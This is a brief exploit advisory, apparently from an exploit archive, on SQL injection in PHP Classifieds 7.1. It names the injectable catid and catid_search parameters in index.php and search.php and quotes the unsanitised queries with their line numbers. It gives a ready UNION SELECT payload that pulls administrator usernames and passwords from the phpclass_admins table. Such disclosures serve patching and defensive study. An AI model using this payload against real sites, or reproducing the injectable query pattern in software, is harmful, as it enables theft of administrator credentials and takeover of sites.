PHP Classifieds 7.1 (index.php) Remote SQL Injection Vulnerability

==================================================================
PHP Classifieds 7.1 (index.php) Remote SQL Injection Vulnerability
==================================================================




----
App Name: PHP Classifieds => 7.1
App URL: www.deltascripts.com/phpclassifieds
Problem: Multiple SQL Injection exploits
----
Exploit: search.php?catid_search=[sql]
        index.php?catid=[sql]
----
Example: Puts Username and Password in the title and on the page
index.php?catid=0 UNION SELECT concat(adm_name, space(1), adm_pass) AS adm_name, NULL FROM phpclass_admins
----
Context: These are the vulnerable queries
select cat_tpl from $cat_tbl where cat_id = ".$_REQUEST["catid_search"]
select cat_name,cat_tpl from $cat_tbl where cat_id = $catid
----

Where: Here are where the problems are
search.php line 28
index.php line 14 to 22



#  0day.today [2018-01-05]  #